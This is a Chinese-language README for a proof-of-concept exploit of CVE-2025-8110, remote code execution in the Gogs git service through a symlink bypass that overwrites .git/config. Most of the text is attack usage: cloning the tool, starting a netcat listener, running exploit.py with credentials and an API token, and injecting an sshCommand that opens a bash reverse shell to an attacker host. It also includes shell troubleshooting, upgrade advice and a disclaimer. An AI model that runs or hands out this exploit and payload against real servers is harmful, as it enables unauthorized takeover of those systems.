
Gogs RCE PoC - CVE-2025-8110
针对 CVE-2025-8110 的概念验证 — 通过符号链接绕过和 sshCommand 注入实现 Gogs 远程代码执行。
该漏洞利用 Gogs API 中的符号链接绕过,覆盖 .git/config 并注入恶意 sshCommand,从而执行反弹 Shell。
git clone https://github.com/X4BROZER/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
参数 描述 -u, --url 目标 Gogs URL(例如 http://target:3000) -U, --username Gogs 用户名 -P, --password Gogs 密码 -t, --token Gogs API 令牌 -lh, --host 你的 IP(用于反弹 Shell) -lp, --port 你的端口(用于监听) -x, --proxy 启用代理(localhost:8080)
登录 Gogs → 设置 → 应用程序 → 生成令牌
nc -lvnp 4444
python3 exploit.py -u http://target:3000 -U <用户名 GOGS> -P <密码 GOGS> -t <令牌> -lh <攻击者 IP> -lp <攻击者端口>
python3 exploit.py -u http://localhost:3001 -U amine -P amine -t 44f4e64a1e6353f247050055aa0d3cc13b577ac3 -lh 10.10.17.134 -lp 4444
.git/config 的符号链接的仓库sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #| 问题 | 解决方法 |
|---|---|
| 登录失败 | 检查用户名/密码 |
| 仓库创建失败 | 重新生成 API 令牌 |
| 读取超时 | 正常 — 检查监听器 |
| 无 Shell | 检查防火墙,尝试不同端口 |
malicious_link 符号链接.git/config 中的 sshCommand更新至 Gogs v0.13.4 或更高版本:
wget https://dl.gogs.io/v0.13.4/gogs_v0.13.4_linux_amd64.tar.gz
tar -xzf gogs_v0.13.4_linux_amd64.tar.gz
此工具仅用于教育和授权测试。未经授权的访问属违法行为。